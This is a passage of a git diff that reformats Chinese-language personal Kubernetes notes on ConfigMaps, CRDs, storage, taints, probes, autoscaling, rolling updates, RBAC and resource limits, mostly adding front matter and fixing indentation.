创建ConfigMap的方式有4种:kubectl create configmap ConfigMap_Name Data_Source - 1. 方式一 通过直接在命令行中指定configmap参数创建 --from-literal - 2. 方式二 通过指定文件创建,即将一个配置文件创建为一个ConfigMap,--from-file=文件路径 --from-file=文件路径 - 3. 方式三 通过一个文件内多个键值对创建,--from-env-file=文件路径 - 4. 方式四 事先写好标准的configmap的yaml文件,然后kubectl create -f yaml文件路径。 + + 1. 方式一 通过直接在命令行中指定configmap参数创建 --from-literal + 2. 方式二 通过指定文件创建,即将一个配置文件创建为一个ConfigMap,--from-file=文件路径 --from-file=文件路径 + 3. 方式三 通过一个文件内多个键值对创建,--from-env-file=文件路径 + 4. 方式四 事先写好标准的configmap的yaml文件,然后kubectl create -f yaml文件路径。 - 定义一个键值对文件 -vim configmap/test-cm.properties + vim configmap/test-cm.properties + ```properties key1=value1 key2=value2 ``` -1. 方式一 + +1. 方式一 + ```bash kubectl create configmap test-cm-4 --from-literal=key1=value1 --from-literal=key2=value2 ``` + 2. 方式二 + ```bash # key默认为文件名,value为文件的内容。 kubectl create configmap test-cm-1 --from-file=configmap/test.properties # 或者 kubectl create configmap test-cm-1 --from-file=自定义key的名称=configmap/test.properties ``` + 3. 方式三 + ``` kubectl create configmap test-cm-3 --from-env-file=configmap/test.properties ``` @@ -56,9 +73,10 @@ data: property.3=value-3 ``` - 5. 通过生成器方式创建 - 不知道 实践失败 + - 从1.14 开始,k8s 开始支持使用yaml创建ConfigMap。 + ```bash cat <./kustomization.yaml configMapGenerator: @@ -68,18 +86,20 @@ configMapGenerator: EOF ``` - #### 在Pod中使用ConfigMap + - 主要有3种使用方式 - 1. 将 ConfigMap 的数据定义为容器的环境变量 方式一 方式二 - 2. 直接在Pod的yaml中使用ConfigMap的数据 方式三 - 3. 将 ConfigMap 的数据挂载进数据卷中 方式四 方式五 + 1. 将 ConfigMap 的数据定义为容器的环境变量 方式一 方式二 + 2. 直接在Pod的yaml中使用ConfigMap的数据 方式三 + 3. 将 ConfigMap 的数据挂载进数据卷中 方式四 方式五 - 当ConfigMap被更新时 - - 将 ConfigMap 的数据定义为容器环境变量,环境变量不会同步更新。 - - 将 ConfigMap 挂载进 Volume 中的数据需要一段时间(实测大概10秒)才能同步更新。热加载。 + - 将 ConfigMap 的数据定义为容器环境变量,环境变量不会同步更新。 + - 将 ConfigMap 挂载进 Volume 中的数据需要一段时间(实测大概10秒)才能同步更新。热加载。 1. 使用 ConfigMap 数据定义容器环境变量 + - 关键字 env valueFrom + ```yaml apiVersion: v1 kind: Pod @@ -100,7 +120,9 @@ spec: ``` 2. 将 ConfigMap 中的所有键值对配置为容器环境变量 -- 关键字 envFrom + +- 关键字 envFrom + ```yaml apiVersion: v1 kind: Pod @@ -118,6 +140,7 @@ spec: ``` 3. 在 Pod 命令中直接使用 ConfigMap 定义的环境变量 + ```yaml apiVersion: v1 kind: Pod @@ -144,8 +167,10 @@ spec: ``` 4. 将 ConfigMap 数据写入卷中 + - 所有数据键值对 添加到容器中的特定路径下 - 最外层的键将被定义为文件的名字 + ```yaml apiVersion: v1 kind: Pod @@ -167,7 +192,9 @@ spec: ``` 5. 将 ConfigMap 的某个文件 数据写入卷中 + - 数据键值对 添加到容器中的特定路径下 + ```yaml apiVersion: v1 kind: Pod @@ -189,4 +216,4 @@ spec: - key: ConfigMap的key path: 自定义文件名A restartPolicy: Never -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/crd.md b/container/Kubernetes/k8s-functions/crd.md index d260b72..6859676 100644 --- a/container/Kubernetes/k8s-functions/crd.md +++ b/container/Kubernetes/k8s-functions/crd.md @@ -1,7 +1,16 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # CRD + https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/ CustomResourceDefinition(自定义资源) + 1. 创建CRD + ```yaml apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition @@ -31,7 +40,9 @@ spec: shortNames: - ct ``` + 2. 根据CRD对象资源创建出来的RESTful API,来创建testcrd类型资源对象 + ```yaml apiVersion: "stable.example.com/v1" kind: CronTab @@ -43,6 +54,7 @@ spec: ``` 3. 为自定义资源添加验证 + ```yaml apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition @@ -78,6 +90,7 @@ spec: ``` 4. 为自定义资源添加额外的打印列 + ```yaml apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition @@ -112,6 +125,7 @@ spec: ``` 5. 为自定义的资源添加状态和伸缩配置 + ```yaml apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition @@ -140,11 +154,13 @@ spec: statusReplicasPath: .status.replicas labelSelectorPath: .status.labelSelector ``` + 扩充自定义资源对象副本数目 kubectl scale --replicas=5 crontabs/my-new-cron-object 测试失败 kubectl v1.15 https://github.com/openkruise/kruise/issues/278 6. categories字段指定自定义资源所属的组 + ```yaml apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition @@ -167,4 +183,5 @@ spec: categories: - all ``` -kubectl get all \ No newline at end of file + +kubectl get all diff --git a/container/Kubernetes/k8s-functions/cronjob.md b/container/Kubernetes/k8s-functions/cronjob.md index 7368349..d0fbd4c 100644 --- a/container/Kubernetes/k8s-functions/cronjob.md +++ b/container/Kubernetes/k8s-functions/cronjob.md @@ -1,3 +1,9 @@ +--- +created_date: 2020-11-21 +--- + +[TOC] + ``` -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/ingress.md b/container/Kubernetes/k8s-functions/ingress.md index 4ed6df1..eb8729a 100644 --- a/container/Kubernetes/k8s-functions/ingress.md +++ b/container/Kubernetes/k8s-functions/ingress.md @@ -1,4 +1,11 @@ +--- +created_date: 2021-03-12 +--- + +[TOC] + 1. ingress + ```yaml apiVersion: extensions/v1beta1 kind: Ingress @@ -21,6 +28,7 @@ spec: ``` 2. 谷歌云服务配置证书 + ```yaml apiVersion: networking.gke.io/v1beta1 kind: ManagedCertificate @@ -30,4 +38,4 @@ metadata: spec: domains: - 域名 -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/k8s_storageclass_ceph.md b/container/Kubernetes/k8s-functions/k8s_storageclass_ceph.md index 98d21ba..f605269 100644 --- a/container/Kubernetes/k8s-functions/k8s_storageclass_ceph.md +++ b/container/Kubernetes/k8s-functions/k8s_storageclass_ceph.md @@ -1,7 +1,13 @@ +--- +created_date: 2020-11-16 +--- [TOC] + ## pv 和 pvc + 1. 创建pv + ```yaml apiVersion: v1 kind: PersistentVolume @@ -19,8 +25,10 @@ spec: hostPath: path: "/home/pv" ``` + 2. 创建pvc -使用静态pv + 使用静态pv + ```yaml apiVersion: v1 kind: PersistentVolumeClaim @@ -39,7 +47,9 @@ spec: matchLabels: app: vnc003 ``` + 使用动态pv + ```yaml apiVersion: v1 kind: PersistentVolumeClaim @@ -56,9 +66,11 @@ spec: requests: storage: 100Mi ``` + get pv --show-labels get pvc --show-labels -3. 创建pod使用pvc +3\. 创建pod使用pvc + ```yaml apiVersion: v1 kind: Pod @@ -84,11 +96,15 @@ spec: ``` ## storageclass + #### 使用教程 + - StorageClass:Kubernetes提供一种自动创建PV的机制,它的作用就是创建PV的模板。 - node节点上必须已经安装了ceph客户端。yum -y install ceph-common + 1. 配置使用ceph存储池的密钥 -project-ceph-secret.yaml + project-ceph-secret.yaml + ```yaml apiVersion: v1 kind: Secret @@ -101,7 +117,8 @@ data: ``` 2. 配置连接存储池 -ceph-rbd-sc.yaml + ceph-rbd-sc.yaml + ```yaml apiVersion: storage.k8s.io/v1 kind: StorageClass @@ -120,6 +137,7 @@ parameters: ``` 3. 在StatefulSet的yaml中添加如下pvc配置 + ```yaml volumeClaimTemplates: - metadata: @@ -132,8 +150,8 @@ volumeClaimTemplates: storage: 20Gi ``` - 5. 具体使用示范1,创建pvc,在pod的yaml中使用pvc + ```yaml ### 创建pvc apiVersion: "v1" @@ -178,6 +196,7 @@ spec: ``` 6. 具体使用示范2,在statefulset中使用volumeClaimTemplates + ```yaml apiVersion: apps/v1 kind: StatefulSet @@ -226,10 +245,11 @@ spec: storage: 1Mi ``` - #### 遇到的错误 + 1. node 节点必须有rbd命令(ceph客户端) -yum -y install ceph-common + yum -y install ceph-common + ```log Events: Type Reason Age From Message @@ -239,32 +259,39 @@ Events: Warning FailedMount 49s (x16 over 17m) kubelet, ${IP} MountVolume.WaitForAttach failed for volume "pvc-3b915153-5792-11ea-a7f6-005056aa7207" : fail to check rbd image status with: (executable file not found in $PATH), rbd output: () Warning FailedMount 15s (x8 over 16m) kubelet, ${IP} Unable to mount volumes for pod "test-pod_dam-project-qa(3fff8481-5798-11ea-8fa4-005056aa0b04)": timeout expired waiting for volumes to attach or mount for pod "dam-project-qa"/"test-pod". list of unmounted volumes=[testaa]. list of unattached volumes=[testaa default-token-2724w] ``` + 2. 只有 StatefulSet 支持使用 volumeClaimTemplates + ```log error: error validating "test1.yaml": error validating data: ValidationError(StatefulSet.spec.template): unknown field "volumeClaimTemplates" in io.k8s.api.core.v1.PodTemplateSpec; if you choose to ignore these errors, turn validation off with --validate=false ``` -3. StatefulSet 不支持 restartPolicy 策略为Never + +3. StatefulSet 不支持 restartPolicy 策略为Never + ```log The StatefulSet "test-pod" is invalid: spec.template.spec.restartPolicy: Unsupported value: "Never": supported values: "Always" ``` ## 持久化存储卷和声明的生命周期 + https://blog.csdn.net/bbwangj/article/details/82355337 + 1. 在Kubernetes集群中 - - PV 作为存储资源存在。 - - PVC 是对PV资源的请求和使用,也是对 PV 存储资源的”提取证”。 - - Pod 通过 PVC 来使用 PV。 + +- PV 作为存储资源存在。 +- PVC 是对PV资源的请求和使用,也是对 PV 存储资源的”提取证”。 +- Pod 通过 PVC 来使用 PV。 2. PV 和 PVC 之间的交互过程有着自己的生命周期。 + - 这个生命周期分为5个阶段: - 供应(Provisioning):即PV的创建,可以直接创建PV(静态方式),也可以使用StorageClass动态创建 - 绑定(Binding):将PV分配给PVC - 使用(Using):Pod通过PVC使用该Volume - 释放(Releasing):Pod释放Volume并删除PVC - 回收(Reclaiming):回收PV,可以保留PV以便下次使用,也可以直接从云存储中删除 + 供应(Provisioning):即PV的创建,可以直接创建PV(静态方式),也可以使用StorageClass动态创建 + 绑定(Binding):将PV分配给PVC + 使用(Using):Pod通过PVC使用该Volume + 释放(Releasing):Pod释放Volume并删除PVC + 回收(Reclaiming):回收PV,可以保留PV以便下次使用,也可以直接从云存储中删除 - 根据上述的5个阶段,存储卷的存在下面的4种状态: - Available:可用状态,处于此状态表明PV以及准备就绪了,可以被PVC使用了。 - Bound:绑定状态,表明PV已被分配给了PVC。 - Released:释放状态,表明PVC解绑PV,但还未执行回收策略。 - Failed:错误状态,表明PV发生错误。 - + Available:可用状态,处于此状态表明PV以及准备就绪了,可以被PVC使用了。 + Bound:绑定状态,表明PV已被分配给了PVC。 + Released:释放状态,表明PVC解绑PV,但还未执行回收策略。 + Failed:错误状态,表明PV发生错误。 diff --git a/container/Kubernetes/k8s-functions/label-taint.md b/container/Kubernetes/k8s-functions/label-taint.md index 57f32c9..71a6f28 100644 --- a/container/Kubernetes/k8s-functions/label-taint.md +++ b/container/Kubernetes/k8s-functions/label-taint.md @@ -1,19 +1,29 @@ +--- +created_date: 2020-11-16 +--- + [TOC] + - 官网 - https://kubernetes.io/zh/docs/concepts/configuration/taint-and-toleration/ - https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/ + https://kubernetes.io/zh/docs/concepts/configuration/taint-and-toleration/ + https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/ + +### 标签 -### 标签 1. nodeSelector + - 添加标签 -kubectl label nodes ${ip} ${key}=${value} + kubectl label nodes ${ip} ${key}=${value} + - 删除node的标签 -kubectl label nodes ${ip} ${key}- + kubectl label nodes ${ip} ${key}- + - 更新标签 -kubectl label nodes ${ip} ${key}=${value} --overwrite + kubectl label nodes ${ip} ${key}=${value} --overwrite - 查看标签 -kubectl get nodes --show-labels + kubectl get nodes --show-labels + 2. 如果pod想要选择在含有这个标签的node节点上运行,则需要在此pod的yaml添加如下配置 ```yaml @@ -37,7 +47,9 @@ spec: nodeSelector: project: "project" ``` + 3. nodeName + ```yaml apiVersion: v1 kind: Pod @@ -51,19 +63,22 @@ spec: ``` ### 污点 + 1. 污点 + - effect策略: NoSchedule:K8Snode添加这个effecf类型污点,新的不能容忍的pod不能再调度过来,但是老的运行在node上不受影响 NoExecute:K8Snode添加这个effecf类型污点,新的不能容忍的pod不能调度过来,老的pod也会被驱逐 PreferNoSchedule:pod会尝试将pod分配到该节点 - 添加污点 -kubectl taint nodes $ip $key=$value:$effect + kubectl taint nodes $ip $key=$value:$effect - 删除污点 -kubectl taint nodes $ip $key:$effect- + kubectl taint nodes $ip $key:$effect- - 获取节点的污点信息 -kubectl describe node ${ip} | grep Taints + kubectl describe node ${ip} | grep Taints 2. 如果pod想要忽视node节点上的这个污点,则需要在此pod的yaml添加如下配置 + ```yaml tolerations: - key: "dam-taint" @@ -74,7 +89,9 @@ kubectl describe node ${ip} | grep Taints # operator为Equal时 表示 key=value:effect 和 node节点上的taint完全一样则可以容忍这个污点。 # operator为Exists时 不能指定value的值否则会报错。如果key为空则这个 toleration 能容忍任意 taint;如果effect 为空,则 key 值与之相同的相匹配 taint 的 effect 可以是任意值。 ``` + 3. 具体例子 + ```yaml apiVersion: apps/v1 kind: Deployment @@ -113,4 +130,4 @@ spec: effect: "NoSchedule" nodeSelector: project: "project" -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/liveness-readness.md b/container/Kubernetes/k8s-functions/liveness-readness.md index 11552cf..02d3c96 100644 --- a/container/Kubernetes/k8s-functions/liveness-readness.md +++ b/container/Kubernetes/k8s-functions/liveness-readness.md @@ -1,16 +1,26 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### 健康检查Prob探针 + - 两种类型:livenessProbe , readinessProbe + - 三种检查方式: httpGet , exec , tcpSocket - liveness主要用来确定何时重启容器 + - readiness主要来确定容器是否已经就绪 - initialDelaySeconds:容器启动后第一次执行探测是需要等待多少秒。 - periodSeconds:执行探测的频率。默认是10秒,最小1秒。 - timeoutSeconds:探测超时时间。默认1秒,最小1秒。 - successThreshold:探测失败后,最少连续探测成功多少次才被认定为成功。默认是1。对于liveness必须是1。最小值是1。 - failureThreshold:探测成功后,最少连续探测失败多少次才被认定为失败。默认是3。最小值是1。 + initialDelaySeconds:容器启动后第一次执行探测是需要等待多少秒。 + periodSeconds:执行探测的频率。默认是10秒,最小1秒。 + timeoutSeconds:探测超时时间。默认1秒,最小1秒。 + successThreshold:探测失败后,最少连续探测成功多少次才被认定为成功。默认是1。对于liveness必须是1。最小值是1。 + failureThreshold:探测成功后,最少连续探测失败多少次才被认定为失败。默认是3。最小值是1。 1. http探针 + ```yaml containers: ..... @@ -59,4 +69,4 @@ spec: port: 8080 initialDelaySeconds: 15 periodSeconds: 20 -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/others.md b/container/Kubernetes/k8s-functions/others.md index 3617d38..d9a4d88 100644 --- a/container/Kubernetes/k8s-functions/others.md +++ b/container/Kubernetes/k8s-functions/others.md @@ -1,7 +1,15 @@ +--- +created_date: 2020-12-23 +--- + +[TOC] + ## static pod + https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/ - static pod + 1. 是由kubelet直接管理的,k8s api server并不会感知到static pod的存在,也不会和任何一个replication controller关联上,完全是由kubelet进程来监管,并在它崩溃的时候负责重启。 2. Kubelet会通过api server为每一个static pod创建一个对应的mirror pod -3. 有static pod和mirror pod的映射关系,kubelet在运行时就可以通过UID或者Fullname索引到任意pod,以及获取全部在本节点上运行的pod。 \ No newline at end of file +3. 有static pod和mirror pod的映射关系,kubelet在运行时就可以通过UID或者Fullname索引到任意pod,以及获取全部在本节点上运行的pod。 diff --git a/container/Kubernetes/k8s-functions/pod-scale.md b/container/Kubernetes/k8s-functions/pod-scale.md index fe0af82..201b0a5 100644 --- a/container/Kubernetes/k8s-functions/pod-scale.md +++ b/container/Kubernetes/k8s-functions/pod-scale.md @@ -1,29 +1,40 @@ +--- +created_date: 2020-12-23 +--- + +[TOC] + ## scale HPA + - 文档参考 + - https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/ - https://idig8.com/2019/08/21/zoujink8skubernetes1-15-1depod-zidongkuosuorong23/ - - 版本说明 + 1. 从 Kubernetes 1.8 开始,资源使用指标(如容器 CPU 和内存使用率)通过 Metrics API 在 Kubernetes 中获取, metrics-server(收集及统计资源的利用率) 替代了heapster 2. Heapster:仅支持CPU使用率 3. autoscaling/v1 支持基于CPU指标的缩放 - 4. autoscaling/v2beta2 引入了基于内存和自定义指标的缩放 + 4. autoscaling/v2beta2 引入了基于内存和自定义指标的缩放 5. k8s 1.6版本之后才有 autoscaling/v2beta2 ### 手动 + 1. 手动扩容 -kubectl scale --replicas=5 deployment nginx-deploy -kubectl scale --replicas=1 deployment garysweb -n project-stg1 + kubectl scale --replicas=5 deployment nginx-deploy + kubectl scale --replicas=1 deployment garysweb -n project-stg1 ### 自动 + 0. 机制 -Pod 水平自动扩缩器的实现是一个控制回路,由控制器管理器的 --horizontal-pod-autoscaler-sync-period 参数指定周期(默认值为 15 秒) + Pod 水平自动扩缩器的实现是一个控制回路,由控制器管理器的 --horizontal-pod-autoscaler-sync-period 参数指定周期(默认值为 15 秒) 1. 通过命令行 -kubectl autoscale deployment foo --min=2 --max=10 + kubectl autoscale deployment foo --min=2 --max=10 + +2. 基于k8s 1.5版本 -3. 基于k8s 1.5版本 ```yaml apiVersion: autoscaling/v2beta1 kind: HorizontalPodAutoscaler @@ -49,4 +60,5 @@ spec: ``` ## scale VPA -Vertical Pod AutoScaling \ No newline at end of file + +Vertical Pod AutoScaling diff --git a/container/Kubernetes/k8s-functions/pod-update.md b/container/Kubernetes/k8s-functions/pod-update.md index adfa9f6..41b7cf4 100644 --- a/container/Kubernetes/k8s-functions/pod-update.md +++ b/container/Kubernetes/k8s-functions/pod-update.md @@ -1,34 +1,45 @@ +--- +created_date: 2020-12-23 +--- + +[TOC] + ## update + - 滚动升级, + 1. update:改变镜像tag: - kubectl set image deployment/名字 容器名字=镜像 --record - kubectl set image deployment/nginx-deployment nginx=nginx:1.16.1 --record - + kubectl set image deployment/名字 容器名字=镜像 --record + kubectl set image deployment/nginx-deployment nginx=nginx:1.16.1 --record + 2. update:通过edit配置文件改变镜像tag: - kubectl edit deployment/pod 名字 + kubectl edit deployment/pod 名字 3. 查看pod迭代状况 -kubectl rollout status deployment deployment名字 ---watch=false 非持续查看 + kubectl rollout status deployment deployment名字 + --watch=false 非持续查看 4. 查看特定版本的详细信息: - kubectl rollout history deployment - kubectl rollout history deployment 名字 --revision=版本 + kubectl rollout history deployment + kubectl rollout history deployment 名字 --revision=版本 5. 回滚到上一个版本: - kubectl rollout undo deployment 名字 - 回滚到特定的版本 --to-revision=版本号 + kubectl rollout undo deployment 名字 + 回滚到特定的版本 --to-revision=版本号 6. 回滚到指定版本 -kubectl rollout undo deployment 名字 --to-revision=1 + kubectl rollout undo deployment 名字 --to-revision=1 ## yaml参数 + - maxSurge:指定升级期间存在的总Pod对象数量最多可超出期望值的个数,其值可以是0或正整数,也可以是一个期望值的百分比;如,如果期望值为3,当前的属性值为1,则表示Pod对象的总数不能超过4个。 + - maxUnavailable:升级期间不可用的Pod副本数(包括新旧版本)最多不能低于期望数值的个数,其值可以是0或正整数,也可以是一个期望值的百分比;默认值为1,该值意味着如果期望值是3,则升级期间至少要有两个Pod对象处于正常提供服务的状态。 - maxSurge 和 maxUnavailable 属性的值不可同时为 0 ,否 则 Pod 对象的副本数量在符合用户期望的数量后无法做出合理变动以进 行滚动更新操作。 - 金丝雀发布 + ```bash deployment=busybox-deploy-kujiu @@ -51,4 +62,4 @@ kubectl rollout history deployments ${deployment} kubectl rollout undo deployments ${deployment} -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/pod.md b/container/Kubernetes/k8s-functions/pod.md index 6eba1d3..1f594ed 100644 --- a/container/Kubernetes/k8s-functions/pod.md +++ b/container/Kubernetes/k8s-functions/pod.md @@ -1,7 +1,14 @@ +--- +created_date: 2021-01-13 +--- + +[TOC] + ## pod重启的原因 + 1. POD正常退出 2. POD异常退出 3. POD使用从CPU超过POD yaml里设置的CPU上限,或者超过容器所在namespace里配置的CPU上限 4. POD使用从Mem超过POD yaml里设置的Memory上限,或者超过容器所在namespace里配置的Memory上限 5. 运行时宿主机的资源无法满足POD的资源(内存 CPU)时会自动调度到其他机器,也会出现重启次数+1 -6. 创建POD时指定的image找不到或者没有node节点满足POD的资源(内存 CPU)需求,会不断重启 \ No newline at end of file +6. 创建POD时指定的image找不到或者没有node节点满足POD的资源(内存 CPU)需求,会不断重启 diff --git a/container/Kubernetes/k8s-functions/port.md b/container/Kubernetes/k8s-functions/port.md index 1820e6c..8223e79 100644 --- a/container/Kubernetes/k8s-functions/port.md +++ b/container/Kubernetes/k8s-functions/port.md @@ -1,11 +1,21 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + 1. service - - port 集群内部访问service的入口 - - nodePort 映射至主机的端口,集群外部访问service的入口 - - targetPort pod上的入口,targetPort 要等于container上服务的端口,targetPort端口号默认会继承port端口号,port 和 nodePort 的数据都会流入到targetPort上 - - 从port和nodePort上到来的数据最终经过kube-proxy流入到后端pod的targetPort上进入容器。 + - port 集群内部访问service的入口 + + - nodePort 映射至主机的端口,集群外部访问service的入口 + + - targetPort pod上的入口,targetPort 要等于container上服务的端口,targetPort端口号默认会继承port端口号,port 和 nodePort 的数据都会流入到targetPort上 + + - 从port和nodePort上到来的数据最终经过kube-proxy流入到后端pod的targetPort上进入容器。 + +2. -2. ```yaml apiVersion: v1 kind: Service @@ -23,4 +33,4 @@ spec: type: ClusterIP # type: NodePort -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/rbac.md b/container/Kubernetes/k8s-functions/rbac.md index 84097b3..df21fa2 100644 --- a/container/Kubernetes/k8s-functions/rbac.md +++ b/container/Kubernetes/k8s-functions/rbac.md @@ -1,50 +1,63 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### 概念 + ### 1 从role到deployment + 1. 角色 -Role -ClusterRole + Role + ClusterRole 2. 用户(Subject) -Service Account -User Account -Group + Service Account + User Account + Group 3. 绑定角色与用户 -RoleBinding -ClusterRoleBinding + RoleBinding + ClusterRoleBinding 4. 使用Service Account创建Pod - spec: - serviceAccountName: prometheus - serviceAccount: prometheus + spec: + serviceAccountName: prometheus + serviceAccount: prometheus + ### 2 + 1. resources: - 1. Pods - 2. ConfigMaps - 3. Deployments - 4. Nodes - 5. Secrets - 6. Namespaces -2. verbs: - create - get - delete - list - update - edit - watch - exec -3. apiGroup: 资源和 API Group 进行关联,比如Pods属于 Core API Group,而Deployements属于 apps API Group - "" - apps - autoscaling - batch +2. Pods +3. ConfigMaps +4. Deployments +5. Nodes +6. Secrets +7. Namespaces +8. verbs: + create + get + delete + list + update + edit + watch + exec +9. apiGroup: 资源和 API Group 进行关联,比如Pods属于 Core API Group,而Deployements属于 apps API Group + "" + apps + autoscaling + batch ### dashboard权限控制 + - 控制用户只能查看某些命名空间内的资源 + 1. ServiceAccount - - serviceaccout创建时Kubernetes会默认创建对应的secret - kubectl create sa xieshigang -2. Role - - Role 是单个namespace范围的权限。 - - ClusterRole 是集群范围的授权 + - serviceaccout创建时Kubernetes会默认创建对应的secret + kubectl create sa xieshigang +2. Role + - Role 是单个namespace范围的权限。 + - ClusterRole 是集群范围的授权 + ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role @@ -67,8 +80,10 @@ rules: verbs: - create ``` + 3. RoleBinding - - RoleBinding可以将角色中定义的权限授予用户或用户组,适用于某个命名空间内授权 + - RoleBinding可以将角色中定义的权限授予用户或用户组,适用于某个命名空间内授权 + ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding @@ -86,5 +101,4 @@ subjects: ``` 4. 获取登陆dashboard的密钥 -kubectl describe secret xieshigang-token-k22rn - + kubectl describe secret xieshigang-token-k22rn diff --git a/container/Kubernetes/k8s-functions/recources.md b/container/Kubernetes/k8s-functions/recources.md index fec9dc6..a72fe5b 100644 --- a/container/Kubernetes/k8s-functions/recources.md +++ b/container/Kubernetes/k8s-functions/recources.md @@ -1,29 +1,38 @@ +--- +created_date: 2020-12-17 +--- + +[TOC] + https://kubernetes.io/docs/concepts/policy/limit-range/ https://kubernetes.io/zh/docs/tasks/administer-cluster/manage-resources/memory-default-namespace/ ### 概览 1. 服务质量等级 + - QoS Class(Quality of service class) - kubernetes 通过requests 和limits 来判断服务质量等级,以维护服务器的安全性。 1. Guaranteed:优先级最高。pod中每个容器同时定义了cpu和memory的request和limit,并且两者的request=limit; 2. Burstable:优先级中等。pod中至少有一个容器定义了cpu或memory的request属性,且二者不一定要相等; 3. BestEffort:优先级最低。pod中没有任何一个容器定义了request或limit属性; - + 2. k8s/docker/linux -requests.cpu被转成docker的--cpu-shares参数,与cgroup cpu.shares功能相同 -requests.memory没有对应的docker参数,作为k8s调度依据 + requests.cpu被转成docker的--cpu-shares参数,与cgroup cpu.shares功能相同 + requests.memory没有对应的docker参数,作为k8s调度依据 limits.cpu会被转换成docker的–cpu-quota参数。与cgroup cpu.cfs_quota_us功能相同 limits.memory会被转换成docker的–memory参数。用来限制容器使用的最大内存 ### 设置Pod的limit和request -- CPU的默认单位多少核cpu + +- CPU的默认单位多少核cpu 100m = 0.1CPU - 内存的默认单位是Ki 可用用的单位 E, P, T, G, M, K, Ei, Pi, Ti, Gi, Mi, Ki 1. 设置整个命名空间里容器cpu和memory的requests和limits默认值 + ```yaml apiVersion: v1 kind: LimitRange @@ -47,6 +56,7 @@ spec: ``` 2. 单独限制container的cpu和memory + ```yaml apiVersion: v1 kind: Pod @@ -73,11 +83,13 @@ spec: 4. 容器声明了内存请求,但没有内存限制;则使用命名空间的默认内存限制。 ### 命名空间的默认request和limit + - 查看 -kubectl get limitrange -kubectl get ResourceQuota + kubectl get limitrange + kubectl get ResourceQuota 1. 命名空间request和limit默认值 + ```yaml apiVersion: v1 kind: LimitRange @@ -95,6 +107,7 @@ spec: ``` 2. 最大值最小值 + ```yaml apiVersion: v1 kind: LimitRange @@ -110,6 +123,7 @@ spec: ``` 3. 命名空间的配额 + ```yaml apiVersion: v1 kind: ResourceQuota @@ -121,4 +135,4 @@ spec: requests.memory: 1Gi limits.cpu: "2" limits.memory: 2Gi -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/schedule-affinity.md b/container/Kubernetes/k8s-functions/schedule-affinity.md index 34047e0..a5feafe 100644 --- a/container/Kubernetes/k8s-functions/schedule-affinity.md +++ b/container/Kubernetes/k8s-functions/schedule-affinity.md @@ -1,16 +1,24 @@ +--- +created_date: 2020-12-23 +--- + +[TOC] ## 运行时调度策略 + nodeAffinity(节点亲和性) podAffinity(Pod亲和性) podAntiAffinity(Pod反亲和性) ### nodeAffinity + 1. 强制性 - - 节点亲和性配置 requiredDuringSchedulingIgnoredDuringExecution,disktype=ssd - - pod 只会被调度到具有 disktype=ssd 标签的节点上 + - 节点亲和性配置 requiredDuringSchedulingIgnoredDuringExecution,disktype=ssd + - pod 只会被调度到具有 disktype=ssd 标签的节点上 2. 非强制性 - - 节点亲和性配置 preferredDuringSchedulingIgnoredDuringExecution,disktype=ssd - - 意味着 pod 将首选具有 disktype=ssd 标签的节点。 + - 节点亲和性配置 preferredDuringSchedulingIgnoredDuringExecution,disktype=ssd + - 意味着 pod 将首选具有 disktype=ssd 标签的节点。 + ```yaml apiVersion: v1 kind: Pod @@ -30,4 +38,4 @@ spec: - name: nginx image: nginx imagePullPolicy: IfNotPresent -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/schedule-priority.md b/container/Kubernetes/k8s-functions/schedule-priority.md index 0d3333c..50c4b35 100644 --- a/container/Kubernetes/k8s-functions/schedule-priority.md +++ b/container/Kubernetes/k8s-functions/schedule-priority.md @@ -1,21 +1,30 @@ +--- +created_date: 2020-12-23 +--- + +[TOC] + ## Pod Priority Preemption + 1. Kubernetes 1.8版本之前,当集群的可用资源不足时,在用户提交新的Pod创建请求后,该Pod会一直处于Pending状态,即使这个Pod是一个很重要的Pod,也只能被动等待其他Pod被删除并释放资源,才能有机会被调度成功。 2. Kubernetes 1.8版本引入了基于Pod优先级抢占(Pod Priority Preemption)的调度策略,此时Kubernetes会尝试释放目标节点上低优先级的Pod,以腾出资源安置高优先级的Pod,这种调度方式被称为“抢占式调度”。 3. 在Kubernetes 1.11版本中,该特性升级为Beta版本,默认开启。 4. 在Kubernetes 1.14版本中正式Release。 - 可以通过以下几个维度来定义Pod Priority Preemption: - - Priority,优先级; - - QoS,服务质量等级; - - 系统定义的其他度量指标。 -- 机制 -当一个Node发生资源不足(under resource pressure)的情况时,该节点上的kubelet进程会执行驱逐动作,此时Kubelet会综合考虑Pod的优先级、资源申请量与实际使用量等信息来计算哪些Pod需要被驱逐; -当同样优先级的Pod需要被驱逐时,实际使用的资源量超过申请量最大倍数的高耗能Pod会被首先驱逐。对于QoS等级为“Best Effort”的Pod来说,由于没有定义资源申请(CPU/Memory Request),所以它们实际使用的资源可能非常大。 + - Priority,优先级; + - QoS,服务质量等级; + - 系统定义的其他度量指标。 +- 机制 + 当一个Node发生资源不足(under resource pressure)的情况时,该节点上的kubelet进程会执行驱逐动作,此时Kubelet会综合考虑Pod的优先级、资源申请量与实际使用量等信息来计算哪些Pod需要被驱逐;\ + 